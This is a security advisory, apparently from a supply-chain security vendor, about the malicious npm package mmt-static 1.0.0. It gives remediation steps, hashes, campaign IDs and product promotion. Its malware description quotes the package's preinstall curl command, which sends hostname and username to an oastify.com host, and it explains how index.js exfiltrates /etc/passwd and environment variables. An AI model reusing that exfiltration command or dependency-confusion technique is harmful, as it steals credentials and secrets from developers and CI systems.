Which versions of mmt-static are malicious?

The following npm versions of mmt-static are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate mmt-static if I installed it?

mmt-static is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed mmt-static — how do I know if it already compromised me?

If mmt-static was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is mmt-static part of a known attack campaign?

Yes — mmt-static is associated with the IN-MAL-2026-004236, GHSA-3c6q-cfmj-gmcf campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find mmt-static across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for mmt-static (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging mmt-static across your stack and pipelines.

Malicious package

mmt-staticnpm

Malicious code in mmt-static (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-4612

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall mmt-static

What this malware does

On npm install, the package's preinstall lifecycle hook executes node index.js && curl --data-urlencode "info=$(hostname && whoami)" http://8irluql1d21jmq8tr5n5fyoxjopfdd12.oastify.com/nasa/mmt-static. index.js reads /etc/passwd, collects os.hostname(), os.platform(), os.userInfo().username, current working directory, and the first 30 entries of process.env, then POSTs the JSON payload to https://3nrgzlqwix6erldow0s0kttsojuai36s.oastify.com/nasa/mmt-static/<id>. The package additionally exhibits dependency-confusion shape: its description claims to be an AWS internal CDK package (cdk-sagemaker-notebook-workflow) and the README contains Takeover By l0bo, indicating an intentional name-squat against an AWS-internal namespace. Installing this package leaks the installer's hostname, username, local user database, working directory, and environment variables (which commonly contain CI/CD secrets, cloud credentials, and tokens) to attacker-controlled Burp Collaborator (oastify.com) endpoints.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

755d0176c106903bf2baaf14d0bb4df611bb719c2a7b0615e9b4487eadee1300

8459650553ee494191b0a2f03104e537518003f05ab481da8256157746c79c33

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for mmt-static (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging mmt-static across your stack and pipelines.
If you installed it — respond
mmt-static is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If mmt-static was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks mmt-static before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. mmt-static on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004236GHSA-3c6q-cfmj-gmcf

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks mmt-static-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring